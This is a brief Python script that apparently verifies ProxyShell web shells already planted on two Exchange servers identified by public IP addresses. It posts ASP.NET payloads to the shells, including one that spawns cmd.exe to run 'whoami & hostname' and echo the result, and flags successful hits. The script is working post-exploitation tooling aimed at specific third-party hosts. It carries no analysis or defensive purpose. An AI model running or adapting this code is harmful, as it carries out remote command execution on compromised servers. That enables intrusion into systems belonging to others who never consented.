#!/usr/bin/env python3
# Verify already-landed ProxyShell aspx files with ASP.NET-compatible commands.
import requests, sys
requests.packages.urllib3.disable_warnings()

URLS = [
 "https://202.1.204.238/aspnet_client/prtoiu.aspx",
 "https://213.6.54.59/owa/auth/kjyqsi.aspx",
]

TESTS = [
 ('plainwrite', 'Response.Write("PWNOK123");'),
 ('jscript_exec', 'var ps=new System.Diagnostics.Process();ps.StartInfo.FileName="cmd.exe";ps.StartInfo.Arguments="/c whoami & hostname";ps.StartInfo.UseShellExecute=false;ps.StartInfo.RedirectStandardOutput=true;ps.Start();Response.Write("OUT["+ps.StandardOutput.ReadToEnd()+"]");'),
]

for u in URLS:
    print("="*70); print("URL:", u)
    try:
        g = requests.get(u, verify=False, timeout=25)
        print("GET", g.status_code, len(g.content))
    except Exception as e:
        print("GET err", type(e).__name__, str(e)[:100])
    for name, code in TESTS:
        try:
            f = requests.post(u, headers={'Content-Type':'application/x-www-form-urlencoded'},
                              params={"exec_code": code}, verify=False, timeout=30)
            full = f.text
            print(f"[{name}] {f.status_code} len={len(full)}")
            print("   head:", repr(full[:600]))
            if 'PWNOK123' in full or 'OUT[' in full:
                print("   >>> HIT")
        except Exception as e:
            print(f"[{name}] err", type(e).__name__, str(e)[:120])